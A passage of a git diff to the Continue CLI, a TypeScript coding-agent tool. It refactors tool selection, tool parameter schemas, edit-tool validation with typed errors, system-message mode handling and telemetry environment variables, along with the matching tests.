"../services/index.js"; import { posthogService } from "../telemetry/posthogService.js"; import { telemetryService } from "../telemetry/telemetryService.js"; import { ToolCall } from "../tools/index.js"; @@ -22,7 +20,7 @@ import { import { logger } from "../util/logger.js"; import { validateContextLength } from "../util/tokenizer.js"; -import { getAllTools, handleToolCalls } from "./handleToolCalls.js"; +import { getRequestTools, handleToolCalls } from "./handleToolCalls.js"; import { handleAutoCompaction } from "./streamChatResponse.autoCompaction.js"; import { processChunkContent, @@ -157,7 +155,9 @@ export async function processStreamingResponse( } // Get fresh system message and inject it - const systemMessage = await systemMessageService.getSystemMessage(); + const systemMessage = await services.systemMessage.getSystemMessage( + services.toolPermissions.getState().currentMode, + ); const openaiChatHistory = convertFromUnifiedHistoryWithSystemMessage( chatHistory, systemMessage, @@ -299,7 +299,7 @@ export async function processStreamingResponse( // Validate tool calls have complete arguments const validToolCalls = toolCalls.filter((tc) => { - if (!tc.arguments || !tc.name) { + if (!tc.name) { logger.error("Incomplete tool call", { id: tc.id, name: tc.name, @@ -337,10 +337,7 @@ export async function streamChatResponse( hasCallbacks: !!callbacks, }); - const serviceResult = getServiceSync( - SERVICE_NAMES.TOOL_PERMISSIONS, - ); - const isHeadless = serviceResult.value?.isHeadless ?? false; + const isHeadless = services.toolPermissions.isHeadless(); let fullResponse = ""; let finalResponse = ""; @@ -384,7 +381,7 @@ export async function streamChatResponse( } // Recompute tools on each iteration to handle mode changes during streaming - const tools = await getAllTools(); + const tools = await getRequestTools(isHeadless); logger.debug("Tools prepared", { toolCount: tools.length, @@ -394,12 +391,12 @@ export async function streamChatResponse( // Get response from LLM const { content, toolCalls, shouldContinue } = await processStreamingResponse({ + isHeadless, chatHistory, model, llmApi, abortController, callbacks, - isHeadless, tools, }); @@ -476,4 +473,3 @@ export async function streamChatResponse( // Otherwise, return the full response return isHeadless ? finalResponse : fullResponse; } -export { getAllTools }; diff --git a/extensions/cli/src/systemMessage.test.ts b/extensions/cli/src/systemMessage.test.ts index d77794734..e419d0bac 100644 --- a/extensions/cli/src/systemMessage.test.ts +++ b/extensions/cli/src/systemMessage.test.ts @@ -8,12 +8,13 @@ const { constructSystemMessage } = await import("./systemMessage.js"); vi.mock("./services/ServiceContainer.js", () => ({ serviceContainer: { get: vi.fn().mockResolvedValue({ config: { rules: [] } }), + set: vi.fn(), }, })); -// Mock processPromptOrRule to avoid file system operations in tests -vi.mock("./args.js", () => ({ - processPromptOrRule: vi +// Mock processRule to avoid file system operations in tests +vi.mock("./hubLoader.js", () => ({ + processRule: vi .fn() .mockImplementation((spec: string) => Promise.resolve(spec)), })); @@ -23,7 +24,7 @@ const PLAN_MODE_STRING = "You are operating in _Plan Mode_"; describe("constructSystemMessage", () => { it("should return base system message with rules when additionalRules is provided", async () => { const rules = ["These are the rules for the assistant."]; - const result = await constructSystemMessage(rules); + const result = await constructSystemMessage("normal", rules); expect(result).toContain("You are an agent in the Continue CLI"); expect(result).toContain(''); @@ -33,7 +34,7 @@ describe("constructSystemMessage", () => { it("should return base system message with agent content when no rules but agent file exists", async () => { // The implementation checks for agent files like AGENTS.md which exists in this project - const result = await constructSystemMessage(); + const result = await constructSystemMessage("normal"); expect(result).toContain("You are an agent in the Continue CLI"); expect(result).toContain(''); @@ -41,7 +42,7 @@ describe("constructSystemMessage", () => { }); it("should include base system message components", async () => { - const result = await constructSystemMessage(); + const result = await constructSystemMessage("normal"); expect(result).toContain("You are an agent in the Continue CLI"); expect(result).toContain(""); @@ -50,27 +51,27 @@ describe("constructSystemMessage", () => { }); it("should handle whitespace-only rules message", async () => { - const result = await constructSystemMessage([" "]); + const result = await constructSystemMessage("normal", [" "]); expect(result).toContain("You are an agent in the Continue CLI"); expect(result).toContain(''); }); it("should include working directory information", async () => { - const result = await constructSystemMessage(); + const result = await constructSystemMessage("normal"); expect(result).toContain("Working directory:"); expect(result).toContain(""); }); it("should include platform information", async () => { - const result = await constructSystemMessage(); + const result = await constructSystemMessage("normal"); expect(result).toContain("Platform:"); }); it("should include current date", async () => { - const result = await constructSystemMessage(); + const result = await constructSystemMessage("normal"); expect(result).toContain("Today's date:"); expect(result).toContain(new Date().toISOString().split("T")[0]); @@ -78,7 +79,7 @@ describe("constructSystemMessage", () => { it("should format rules section correctly", async () => { const rulesMessage = "Rule 1: Do this\nRule 2: Do that"; - const result = await constructSystemMessage([rulesMessage]); + const result = await constructSystemMessage("normal", [rulesMessage]); expect(result).toContain(''); expect(result).toContain(rulesMessage); @@ -89,7 +90,7 @@ describe("constructSystemMessage", () => { const rulesMessage = `Rule 1: First rule Rule 2: Second rule Rule 3: Third rule`; - const result = await constructSystemMessage([rulesMessage]); + const result = await constructSystemMessage("normal", [rulesMessage]); expect(result).toContain(rulesMessage); expect(result).toContain(''); @@ -98,7 +99,7 @@ Rule 3: Third rule`; it("should handle special characters in rules message", async () => { const rulesMessage = "Rule with characters & symbols!"; - const result = await constructSystemMessage([rulesMessage]); + const result = await constructSystemMessage("normal", [rulesMessage]); expect(result).toContain(rulesMessage); expect(result).toContain(''); @@ -106,7 +107,7 @@ Rule 3: Third rule`; it("should handle very long rules message", async () => { const rulesMessage = "A".repeat(1000); - const result = await constructSystemMessage([rulesMessage]); + const result = await constructSystemMessage("normal", [rulesMessage]); expect(result).toContain(rulesMessage); expect(result).toContain(''); @@ -114,7 +115,7 @@ Rule 3: Third rule`; it("should combine rules and agent content when both are present", async () => { const rulesMessage = "These are the rules."; - const result = await constructSystemMessage([rulesMessage]); + const result = await constructSystemMessage("normal", [rulesMessage]); expect(result).toContain(''); expect(result).toContain(rulesMessage); @@ -123,7 +124,12 @@ Rule 3: Third rule`; }); it("should add headless mode instructions when headless is true", async () => { - const result = await constructSystemMessage(undefined, undefined, true); + const result = await constructSystemMessage( + "normal", + undefined, + undefined, + true, + ); expect(result).toContain("You are an agent in the Continue CLI"); expect(result).toContain("IMPORTANT: You are running in headless mode"); @@ -134,7 +140,12 @@ Rule 3: Third rule`; }); it("should not add headless mode instructions when headless is false", async () => { - const result = await constructSystemMessage(undefined, undefined, false); + const result = await constructSystemMessage( + "normal", + undefined, + undefined, + false, + ); expect(result).toContain("You are an agent in the Continue CLI"); expect(result).not.toContain("IMPORTANT: You are running in headless mode"); @@ -142,7 +153,7 @@ Rule 3: Third rule`; }); it("should not add headless mode instructions when headless is undefined", async () => { - const result = await constructSystemMessage(); + const result = await constructSystemMessage("normal"); expect(result).toContain("You are an agent in the Continue CLI"); expect(result).not.toContain("IMPORTANT: You are running in headless mode"); @@ -150,7 +161,7 @@ Rule 3: Third rule`; }); it("should add JSON format instructions when format is json", async () => { - const result = await constructSystemMessage(undefined, "json"); + const result = await constructSystemMessage("normal", undefined, "json"); expect(result).toContain("You are an agent in the Continue CLI"); expect(result).toContain( @@ -162,10 +173,10 @@ Rule 3: Third rule`; it("should add plan mode instructions when mode is plan", async () => { const result = await constructSystemMessage( + "plan", undefined, undefined, false, - "plan", ); expect(result).toContain("You are an agent in the Continue CLI"); @@ -182,10 +193,10 @@ Rule 3: Third rule`; it("should not add plan mode instructions when mode is not plan", async () => { const result = await constructSystemMessage( + "normal", undefined, undefined, false, - "normal", ); expect(result).toContain("You are an agent in the Continue CLI"); @@ -195,8 +206,8 @@ Rule 3: Third rule`; ); }); - it("should not add plan mode instructions when mode is undefined", async () => { - const result = await constructSystemMessage(); + it("should not add plan mode instructions when mode is normal", async () => { + const result = await constructSystemMessage("normal"); expect(result).toContain("You are an agent in the Continue CLI"); expect(result).not.toContain(PLAN_MODE_STRING); @@ -207,10 +218,10 @@ Rule 3: Third rule`; it("should include basic plan mode description", async () => { const result = await constructSystemMessage( + "plan", undefined, undefined, false, - "plan", ); expect(result).toContain(PLAN_MODE_STRING); @@ -220,10 +231,10 @@ Rule 3: Third rule`; it("should combine plan mode with headless mode instructions", async () => { const result = await constructSystemMessage( + "plan", undefined, undefined, true, - "plan", ); expect(result).toContain("IMPORTANT: You are running in headless mode"); @@ -235,10 +246,10 @@ Rule 3: Third rule`; it("should combine plan mode with JSON format instructions", async () => { const result = await constructSystemMessage( + "plan", undefined, "json", false, - "plan", ); expect(result).toContain( diff --git a/extensions/cli/src/systemMessage.ts b/extensions/cli/src/systemMessage.ts index c9e8920fe..1673914c4 100644 --- a/extensions/cli/src/systemMessage.ts +++ b/extensions/cli/src/systemMessage.ts @@ -5,9 +5,8 @@ import * as path from "path"; import pkg from "ignore-walk"; import { Minimatch } from "minimatch"; -import { processPromptOrRule } from "./args.js"; +import { processRule } from "./hubLoader.js"; import { PermissionMode } from "./permissions/types.js"; -import { modeService } from "./services/ModeService.js"; import { serviceContainer } from "./services/ServiceContainer.js"; import { ConfigServiceState, SERVICE_NAMES } from "./services/types.js"; const { WalkerSync } = pkg; @@ -125,10 +124,10 @@ async function getConfigYamlRules(): Promise { * @returns The comprehensive system message with base message and rules section */ export async function constructSystemMessage( + mode: PermissionMode, additionalRules?: string[], format?: "json", headless?: boolean, - mode?: PermissionMode, ): Promise { const agentFiles = ["AGENTS.md", "AGENT.md", "CLAUDE.md", "CODEX.md"]; @@ -153,7 +152,7 @@ export async function constructSystemMessage( if (additionalRules && additionalRules.length > 0) { for (const ruleSpec of additionalRules) { try { - const processedRule = await processPromptOrRule(ruleSpec); + const processedRule = await processRule(ruleSpec); processedRules.push(processedRule); } catch (error: any) { console.warn( @@ -166,23 +165,22 @@ export async function constructSystemMessage( const configYamlRules = await getConfigYamlRules(); processedRules.push(...configYamlRules); - // Get current mode if not provided - const currentMode = mode ?? modeService.getCurrentMode(); - // Construct the comprehensive system message let systemMessage = baseSystemMessage; // Add plan mode specific instructions if in plan mode - if (currentMode === "plan") { + if (mode === "plan") { systemMessage += '\nYou are operating in _Plan Mode_, which means that your goal is to help the user investigate their ideas and develop a plan before taking action. You only have access to read-only tools and should not attempt to circumvent them to write / delete / create files. For example, it is not acceptable to use the Bash tool to write to files.\n'; } else { - // TODO - make including this coauthor commit configurable - systemMessage += `\nWhen creating commits using any CLI or tool, include the following in the commit message: + // Check if commit signature is disabled via environment variable + if (!process.env.CONTINUE_CLI_DISABLE_COMMIT_SIGNATURE) { + systemMessage += `\nWhen creating commits using any CLI or tool, include the following in the commit message: Generated with [Continue](https://continue.dev) Co-Authored-By: Continue \n`; + } } // In headless mode, add instructions to be concise and only provide final answers diff --git a/extensions/cli/src/telemetry/posthogService.errorHandling.test.ts b/extensions/cli/src/telemetry/posthogService.errorHandling.test.ts index d6857a765..4e23d4dd8 100644 --- a/extensions/cli/src/telemetry/posthogService.errorHandling.test.ts +++ b/extensions/cli/src/telemetry/posthogService.errorHandling.test.ts @@ -79,8 +79,8 @@ describe("PosthogService Error Handling", () => { it("should not capture when service is disabled", async () => { // Mock environment variable to disable telemetry - const originalEnv = process.env.CONTINUE_CLI_ENABLE_TELEMETRY; - process.env.CONTINUE_CLI_ENABLE_TELEMETRY = "0"; + const originalEnv = process.env.CONTINUE_ALLOW_ANONYMOUS_TELEMETRY; + process.env.CONTINUE_ALLOW_ANONYMOUS_TELEMETRY = "0"; // Create a new service instance to pick up the env var const disabledService = new PosthogService(); @@ -95,9 +95,9 @@ describe("PosthogService Error Handling", () => { // Restore environment if (originalEnv === undefined) { - delete process.env.CONTINUE_CLI_ENABLE_TELEMETRY; + delete process.env.CONTINUE_ALLOW_ANONYMOUS_TELEMETRY; } else { - process.env.CONTINUE_CLI_ENABLE_TELEMETRY = originalEnv; + process.env.CONTINUE_ALLOW_ANONYMOUS_TELEMETRY = originalEnv; } }); }); diff --git a/extensions/cli/src/telemetry/posthogService.test.ts b/extensions/cli/src/telemetry/posthogService.test.ts index ebd609a3f..7fd95204d 100644 --- a/extensions/cli/src/telemetry/posthogService.test.ts +++ b/extensions/cli/src/telemetry/posthogService.test.ts @@ -42,7 +42,7 @@ describe("PosthogService", () => { vi.spyOn(os, "homedir").mockReturnValue(tempDir); // Clear environment variable - delete process.env.CONTINUE_CLI_ENABLE_TELEMETRY; + delete process.env.CONTINUE_ALLOW_ANONYMOUS_TELEMETRY; // Reset all mocks vi.clearAllMocks(); @@ -116,8 +116,8 @@ describe("PosthogService", () => { expect(service.isEnabled).toBe(true); }); - it("should be disabled when CONTINUE_CLI_ENABLE_TELEMETRY is 0", () => { - process.env.CONTINUE_CLI_ENABLE_TELEMETRY = "0"; + it("should be disabled when CONTINUE_ALLOW_ANONYMOUS_TELEMETRY is 0", () => { + process.env.CONTINUE_ALLOW_ANONYMOUS_TELEMETRY = "0"; const service = new PosthogService(); expect(service.isEnabled).toBe(false); }); diff --git a/extensions/cli/src/telemetry/posthogService.ts b/extensions/cli/src/telemetry/posthogService.ts index 2ec311d51..025181f8b 100644 --- a/extensions/cli/src/telemetry/posthogService.ts +++ b/extensions/cli/src/telemetry/posthogService.ts @@ -5,18 +5,31 @@ import node_machine_id from "node-machine-id"; import type { PostHog as PostHogType } from "posthog-node"; import { isAuthenticatedConfig, loadAuthConfig } from "../auth/workos.js"; -import { isHeadlessMode } from "../util/cli.js"; +import { isHeadlessMode, isServe } from "../util/cli.js"; import { isGitHubActions } from "../util/git.js"; import { logger } from "../util/logger.js"; import { getVersion } from "../version.js"; export class PosthogService { - private os: string | undefined; - private uniqueId: string; + private _os: string | undefined; + private _uniqueId: string | undefined; constructor() { - this.os = os.platform(); - this.uniqueId = this.getEventUserId(); + // Initialization is now lazy to avoid issues with mocking in tests + } + + private get os(): string { + if (!this._os) { + this._os = os.platform(); + } + return this._os; + } + + public get uniqueId(): string { + if (!this._uniqueId) { + this._uniqueId = this.getEventUserId(); + } + return this._uniqueId; } private _hasInternetConnection: boolean | undefined = undefined; @@ -40,7 +53,7 @@ export class PosthogService { } get isEnabled() { - return process.env.CONTINUE_CLI_ENABLE_TELEMETRY !== "0"; + return process.env.CONTINUE_ALLOW_ANONYMOUS_TELEMETRY !== "0"; } private _client: PostHogType | undefined; @@ -95,6 +108,7 @@ export class PosthogService { ideType: "cli", isHeadless: isHeadlessMode(), isGitHubCI: isGitHubActions(), + isServe: isServe(), }; const payload = { distinctId: this.uniqueId, diff --git a/extensions/cli/src/telemetry/telemetryService.ts b/extensions/cli/src/telemetry/telemetryService.ts index 263f21ac7..910c82f59 100644 --- a/extensions/cli/src/telemetry/telemetryService.ts +++ b/extensions/cli/src/telemetry/telemetryService.ts @@ -17,6 +17,7 @@ import { } from "@opentelemetry/semantic-conventions"; import { v4 as uuidv4 } from "uuid"; +import { ContinueErrorReason } from "../../../../core/util/errors.js"; import { isHeadlessMode } from "../util/cli.js"; import { isContinueRemoteAgent, isGitHubActions } from "../util/git.js"; import { logger } from "../util/logger.js"; @@ -498,9 +499,11 @@ class TelemetryService { success: boolean; durationMs: number; error?: string; + errorReason?: ContinueErrorReason; decision?: "accept" | "reject"; source?: string; toolParameters?: string; + // modelName: string; }) { if (!this.isEnabled()) return; @@ -517,6 +520,12 @@ class TelemetryService { if (options.source) attributes.source = options.source; if (options.toolParameters) attributes.tool_parameters = options.toolParameters; + if (options.errorReason) { + attributes.error_reason = options.errorReason; + } + if (options.error) { + attributes.error = options.error; + } // TODO: Implement OTLP logs export logger.debug("Tool result event", attributes); diff --git a/extensions/cli/src/tools/ToolCallTitle.tsx b/extensions/cli/src/tools/ToolCallTitle.tsx index 90c5dea3f..50f69833f 100644 --- a/extensions/cli/src/tools/ToolCallTitle.tsx +++ b/extensions/cli/src/tools/ToolCallTitle.tsx @@ -43,7 +43,7 @@ export function ToolCallTitle(props: { toolName: string; args?: any }) { } return ( - + {displayName}({formattedValue}) ); diff --git a/extensions/cli/src/tools/allBuiltIns.ts b/extensions/cli/src/tools/allBuiltIns.ts new file mode 100644 index 000000000..c239c37fc --- /dev/null +++ b/extensions/cli/src/tools/allBuiltIns.ts @@ -0,0 +1,26 @@ +import { editTool } from "./edit.js"; +import { exitTool } from "./exit.js"; +import { fetchTool } from "./fetch.js"; +import { listFilesTool } from "./listFiles.js"; +import { multiEditTool } from "./multiEdit.js"; +import { readFileTool } from "./readFile.js"; +import { runTerminalCommandTool } from "./runTerminalCommand.js"; +import { searchCodeTool } from "./searchCode.js"; +import { statusTool } from "./status.js"; +import { writeChecklistTool } from "./writeChecklist.js"; +import { writeFileTool } from "./writeFile.js"; + +// putting in here for circular import issue +export const ALL_BUILT_IN_TOOLS = [ + readFileTool, + editTool, + multiEditTool, + writeFileTool, + listFilesTool, + searchCodeTool, + runTerminalCommandTool, + fetchTool, + writeChecklistTool, + exitTool, + statusTool, +]; diff --git a/extensions/cli/src/tools/edit.test.ts b/extensions/cli/src/tools/edit.test.ts index 03c58c4ed..d0b265f22 100644 --- a/extensions/cli/src/tools/edit.test.ts +++ b/extensions/cli/src/tools/edit.test.ts @@ -1,19 +1,21 @@ import * as fs from "fs"; +import { ContinueError, ContinueErrorReason } from "core/util/errors.js"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { + calculateLinesOfCodeDiff, + getLanguageFromFilePath, +} from "../telemetry/utils.js"; + import { editTool } from "./edit.js"; import { markFileAsRead, readFilesSet } from "./readFile.js"; +import { generateDiff } from "./writeFile.js"; // Mock the dependencies vi.mock("../telemetry/telemetryService.js"); -vi.mock("../telemetry/utils.js", () => ({ - calculateLinesOfCodeDiff: vi.fn().mockReturnValue({ added: 1, removed: 0 }), - getLanguageFromFilePath: vi.fn().mockReturnValue("javascript"), -})); -vi.mock("./writeFile.js", () => ({ - generateDiff: vi.fn().mockReturnValue("mocked diff"), -})); +vi.mock("../telemetry/utils.js"); +vi.mock("./writeFile.js"); vi.mock("fs", async () => { const actual = await vi.importActual("fs"); return { @@ -37,6 +39,14 @@ describe("editTool", () => { vi.mocked(fs.readFileSync).mockReturnValue(originalContent); vi.mocked(fs.writeFileSync).mockImplementation(() => {}); vi.mocked(fs.realpathSync).mockImplementation((path) => path.toString()); + + // Setup utility mocks with proper return values + vi.mocked(calculateLinesOfCodeDiff).mockReturnValue({ + added: 1, + removed: 0, + }); + vi.mocked(getLanguageFromFilePath).mockReturnValue("javascript"); + vi.mocked(generateDiff).mockReturnValue("mocked diff"); }); afterEach(() => { @@ -52,9 +62,9 @@ describe("editTool", () => { new_string: "Hi there", }; - await expect(editTool.preprocess!(args)).rejects.toThrow( - `You must use the Read tool to read ${testFilePath} before editing it.`, - ); + const error = await editTool.preprocess!(args).catch((e) => e); + expect(error).toBeInstanceOf(ContinueError); + expect(error.reason).toBe(ContinueErrorReason.EditToolFileNotRead); }); it("should throw error if file does not exist", async () => { @@ -68,9 +78,9 @@ describe("editTool", () => { new_string: "Hi", }; - await expect(editTool.preprocess!(args)).rejects.toThrow( - `File ${nonExistentFile} does not exist`, - ); + const error = await editTool.preprocess!(args).catch((e) => e); + expect(error).toBeInstanceOf(ContinueError); + expect(error.reason).toBe(ContinueErrorReason.FileNotFound); }); it("should throw error if old_string is not found", async () => { @@ -83,8 +93,10 @@ describe("editTool", () => { new_string: "Hi there", }; - await expect(editTool.preprocess!(args)).rejects.toThrow( - "String not found in file: Not found", + const error = await editTool.preprocess!(args).catch((e) => e); + expect(error).toBeInstanceOf(ContinueError); + expect(error.reason).toBe( + ContinueErrorReason.FindAndReplaceOldStringNotFound, ); }); @@ -98,8 +110,10 @@ describe("editTool", () => { replace_all: false, }; - await expect(editTool.preprocess!(args)).rejects.toThrow( - 'String "world" appears 2 times in the file. Either provide a more specific string with surrounding context to make it unique, or use replace_all=true to replace all occurrences.', + const error = await editTool.preprocess!(args).catch((e) => e); + expect(error).toBeInstanceOf(ContinueError); + expect(error.reason).toBe( + ContinueErrorReason.FindAndReplaceMultipleOccurrences, ); }); @@ -112,8 +126,10 @@ describe("editTool", () => { new_string: "Hello world", }; - await expect(editTool.preprocess!(args)).rejects.toThrow( - "old_string and new_string must be different", + const error = await editTool.preprocess!(args).catch((e) => e); + expect(error).toBeInstanceOf(ContinueError); + expect(error.reason).toBe( + ContinueErrorReason.FindAndReplaceIdenticalOldAndNewStrings, ); }); @@ -194,9 +210,9 @@ describe("editTool", () => { oldContent: originalContent, }; - await expect(editTool.run(args)).rejects.toThrow( - `Error: failed to edit ${testFilePath}: Write failed`, - ); + const error = await editTool.run(args).catch((e) => e); + expect(error).toBeInstanceOf(ContinueError); + expect(error.reason).toBe(ContinueErrorReason.FileWriteError); }); }); diff --git a/extensions/cli/src/tools/edit.ts b/extensions/cli/src/tools/edit.ts index 545d14269..30aaacb86 100644 --- a/extensions/cli/src/tools/edit.ts +++ b/extensions/cli/src/tools/edit.ts @@ -1,6 +1,10 @@ import * as fs from "fs"; +import path from "path"; +import { validateSingleEdit } from "core/edit/searchAndReplace/findAndReplaceUtils.js"; +import { executeFindAndReplace } from "core/edit/searchAndReplace/performReplace.js"; import { throwIfFileIsSecurityConcern } from "core/indexing/ignore.js"; +import { ContinueError, ContinueErrorReason } from "core/util/errors.js"; import { telemetryService } from "../telemetry/telemetryService.js"; import { @@ -8,15 +12,53 @@ import { getLanguageFromFilePath, } from "../telemetry/utils.js"; +import { EditOperation } from "./multiEdit.js"; import { readFilesSet, readFileTool } from "./readFile.js"; import { Tool } from "./types.js"; import { generateDiff } from "./writeFile.js"; -export interface EditArgs { +export function validateAndResolveFilePath(args: any): { + originalPath: string; + resolvedPath: string; +} { + const { file_path } = args; + + if (!file_path) { + throw new ContinueError( + ContinueErrorReason.FindAndReplaceMissingFilepath, + "file_path is required", + ); + } + + const absolutePath = path.isAbsolute(file_path) + ? file_path + : path.resolve(process.cwd(), file_path); + + const resolvedPath = fs.realpathSync(absolutePath); + + throwIfFileIsSecurityConcern(resolvedPath); + + // Check if file exists + if (!fs.existsSync(resolvedPath)) { + throw new ContinueError( + ContinueErrorReason.FileNotFound, + `File ${file_path} does not exist`, + ); + } + + // Check if file has been read + if (!readFilesSet.has(resolvedPath)) { + throw new ContinueError( + ContinueErrorReason.EditToolFileNotRead, + `You must use the ${readFileTool.name} tool to read ${file_path} before editing it.`, + ); + } + + return { originalPath: file_path, resolvedPath: resolvedPath }; +} + +export interface EditArgs extends EditOperation { file_path: string; - old_string: string; - new_string: string; - replace_all?: boolean; } export const editTool: Tool = { @@ -37,91 +79,49 @@ WARNINGS: - When not using \`replace_all\`, the edit will FAIL if \`old_string\` is not unique in the file. Either provide a larger string with more surrounding context to make it unique or use \`replace_all\` to change every instance of \`old_string\`. - The edit will FAIL if you have not recently used the \`${readFileTool.name}\` tool to view up-to-date file contents.`, parameters: { - file_path: { - type: "string", - description: "The absolute path to the file to modify", - required: true, - }, - old_string: { - type: "string", - description: - "The text to replace - must be exact including whitespace/indentation", - required: true, - }, - new_string: { - type: "string", - description: - "The text to replace it with (MUST be different from old_string)", - required: true, - }, - replace_all: { - type: "boolean", - description: "Replace all occurences of old_string (default false)", - required: false, + type: "object", + required: ["file_path", "old_string", "new_string"], + properties: { + file_path: { + type: "string", + description: + "Absolute or relative path to the file to modify. Absolute preferred", + }, + old_string: { + type: "string", + description: + "The text to replace - must be exact including whitespace/indentation", + }, + new_string: { + type: "string", + description: + "The text to replace it with (MUST be different from old_string)", + }, + replace_all: { + type: "boolean", + description: "Replace all occurrences of old_string (default false)", + }, }, }, preprocess: async (args) => { - const { - file_path, + const { old_string, new_string, replace_all } = args as EditArgs; + + const { resolvedPath } = validateAndResolveFilePath(args); + + const { oldString, newString, replaceAll } = validateSingleEdit( old_string, new_string, - replace_all = false, - } = args as EditArgs; + replace_all, + ); - // Validate arguments - if (!file_path) { - throw new Error("file_path is required"); - } - - if (!old_string) { - throw new Error("old_string is required"); - } - if (new_string === undefined) { - throw new Error("new_string is required"); - } - if (old_string === new_string) { - throw new Error("old_string and new_string must be different"); - } - - const resolvedPath = fs.realpathSync(file_path); - - // Check if file has been read - if (!readFilesSet.has(resolvedPath)) { - throw new Error( - `You must use the ${readFileTool.name} tool to read ${file_path} before editing it.`, - ); - } - - throwIfFileIsSecurityConcern(resolvedPath); - - // Check if file exists - if (!fs.existsSync(resolvedPath)) { - throw new Error(`File ${file_path} does not exist`); - } - - // Read current file content const oldContent = fs.readFileSync(resolvedPath, "utf-8"); - - // Check if old_string exists in the file - if (!oldContent.includes(old_string)) { - throw new Error(`String not found in file: ${old_string}`); - } - - let newContent: string; - - if (replace_all) { - // Replace all occurrences - newContent = oldContent.split(old_string).join(new_string); - } else { - // Replace only the first occurrence - const occurrences = oldContent.split(old_string).length - 1; - if (occurrences > 1) { - throw new Error( - `String "${old_string}" appears ${occurrences} times in the file. Either provide a more specific string with surrounding context to make it unique, or use replace_all=true to replace all occurrences.`, - ); - } - newContent = oldContent.replace(old_string, new_string); - } + const newContent = executeFindAndReplace( + oldContent, + oldString, + newString, + replaceAll ?? false, + 0, + ); // Generate diff for preview const diff = generateDiff(oldContent, newContent, resolvedPath); @@ -179,7 +179,11 @@ WARNINGS: return `Successfully edited ${args.resolvedPath}\nDiff:\n${diff}`; } catch (error) { - throw new Error( + if (error instanceof ContinueError) { + throw error; + } + throw new ContinueError( + ContinueErrorReason.FileWriteError, `Error: failed to edit ${args.resolvedPath}: ${ error instanceof Error ? error.message : String(error) }`, diff --git a/extensions/cli/src/tools/exit.ts b/extensions/cli/src/tools/exit.ts index 4c569ccca..a6d84bdc3 100644 --- a/extensions/cli/src/tools/exit.ts +++ b/extensions/cli/src/tools/exit.ts @@ -5,7 +5,10 @@ export const exitTool: Tool = { displayName: "Exit", description: "Exit the current process with status code 1, indicating a failure or error", - parameters: {}, + parameters: { + type: "object", + properties: {}, + }, readonly: false, isBuiltIn: true, run: async (): Promise => { diff --git a/extensions/cli/src/tools/fetch.test.ts b/extensions/cli/src/tools/fetch.test.ts index b8ae67927..9a1aec105 100644 --- a/extensions/cli/src/tools/fetch.test.ts +++ b/extensions/cli/src/tools/fetch.test.ts @@ -96,23 +96,21 @@ describe("fetchTool", () => { expect(result).toBe("Content from page 1\n\nContent from page 2"); }); - it("should return error message when no content items returned", async () => { + it("should throw error when no content items returned", async () => { mockFetchUrlContentImpl.mockResolvedValue([]); - const result = await fetchTool.run({ url: "https://example.com" }); - - expect(result).toBe( - "Error: Could not fetch content from https://example.com", + await expect(fetchTool.run({ url: "https://example.com" })).rejects.toThrow( + "Could not fetch content from https://example.com", ); }); - it("should handle errors from core implementation", async () => { + it("should throw errors from core implementation", async () => { const error = new Error("Network error"); mockFetchUrlContentImpl.mockRejectedValue(error); - const result = await fetchTool.run({ url: "https://example.com" }); - - expect(result).toBe("Error: Network error"); + await expect(fetchTool.run({ url: "https://example.com" })).rejects.toThrow( + "Error: Network error", + ); }); it("should call fetchUrlContentImpl with correct arguments", async () => { @@ -144,10 +142,13 @@ describe("fetchTool", () => { expect(fetchTool.readonly).toBe(true); expect(fetchTool.isBuiltIn).toBe(true); expect(fetchTool.parameters).toEqual({ - url: { - type: "string", - description: "The URL to fetch content from", - required: true, + type: "object", + required: ["url"], + properties: { + url: { + type: "string", + description: "The URL to fetch content from", + }, }, }); }); diff --git a/extensions/cli/src/tools/fetch.ts b/extensions/cli/src/tools/fetch.ts index 7150db3ad..eaa7d1056 100644 --- a/extensions/cli/src/tools/fetch.ts +++ b/extensions/cli/src/tools/fetch.ts @@ -1,5 +1,6 @@ import type { ContextItem } from "core/index.js"; import { fetchUrlContentImpl } from "core/tools/implementations/fetchUrlContent.js"; +import { ContinueError, ContinueErrorReason } from "core/util/errors.js"; import { Tool } from "./types.js"; @@ -9,10 +10,13 @@ export const fetchTool: Tool = { description: "Fetches content from a URL, converts to markdown, and handles long content with truncation", parameters: { - url: { - type: "string", - description: "The URL to fetch content from", - required: true, + type: "object", + required: ["url"], + properties: { + url: { + type: "string", + description: "The URL to fetch content from", + }, }, }, readonly: true, @@ -43,7 +47,10 @@ export const fetchTool: Tool = { console.error = originalConsoleError; if (contextItems.length === 0) { - return `Error: Could not fetch content from ${url}`; + throw new ContinueError( + ContinueErrorReason.Unspecified, + `Could not fetch content from ${url}`, + ); } // Format the results for CLI display @@ -56,7 +63,12 @@ export const fetchTool: Tool = { }) .join("\n\n"); } catch (error) { - return `Error: ${error instanceof Error ? error.message : String(error)}`; + if (error instanceof ContinueError) { + throw error; + } + throw new Error( + `Error: ${error instanceof Error ? error.message : String(error)}`, + ); } }, }; diff --git a/extensions/cli/src/tools/index.tsx b/extensions/cli/src/tools/index.tsx index cc51f0e01..4dee13f53 100644 --- a/extensions/cli/src/tools/index.tsx +++ b/extensions/cli/src/tools/index.tsx @@ -1,16 +1,24 @@ // @ts-ignore +import { ContinueError, ContinueErrorReason } from "core/util/errors.js"; +import { ChatCompletionTool } from "openai/resources.mjs"; + +import { posthogService } from "src/telemetry/posthogService.js"; +import { isModelCapable } from "src/utils/modelCapability.js"; + import { - getServiceSync, - MCPServiceState, SERVICE_NAMES, serviceContainer, + services, } from "../services/index.js"; -import type { ToolPermissionServiceState } from "../services/ToolPermissionService.js"; -import type { ModelServiceState } from "../services/types.js"; +import type { + MCPServiceState, + MCPTool, + ModelServiceState, +} from "../services/types.js"; import { telemetryService } from "../telemetry/telemetryService.js"; import { logger } from "../util/logger.js"; -import { isModelCapable } from "../utils/index.js"; +import { ALL_BUILT_IN_TOOLS } from "./allBuiltIns.js"; import { editTool } from "./edit.js"; import { exitTool } from "./exit.js"; import { fetchTool } from "./fetch.js"; @@ -19,24 +27,23 @@ import { multiEditTool } from "./multiEdit.js"; import { readFileTool } from "./readFile.js"; import { runTerminalCommandTool } from "./runTerminalCommand.js"; import { searchCodeTool } from "./searchCode.js"; +import { statusTool } from "./status.js"; import { type Tool, type ToolCall, - type ToolParameters, + type ToolParametersSchema, + ParameterSchema, PreprocessedToolCall, } from "./types.js"; import { writeChecklistTool } from "./writeChecklist.js"; import { writeFileTool } from "./writeFile.js"; -export type { Tool, ToolCall, ToolParameters }; +export type { Tool, ToolCall, ToolParametersSchema }; // Base tools that 